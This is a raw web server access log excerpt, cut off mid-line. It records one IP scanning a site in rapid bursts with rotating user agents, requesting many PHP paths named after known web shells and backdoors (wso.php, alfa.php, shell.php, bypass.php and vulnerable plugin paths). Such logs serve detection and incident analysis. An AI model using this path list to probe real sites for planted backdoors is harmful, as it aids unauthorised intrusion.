"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:11 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:12 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:13 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 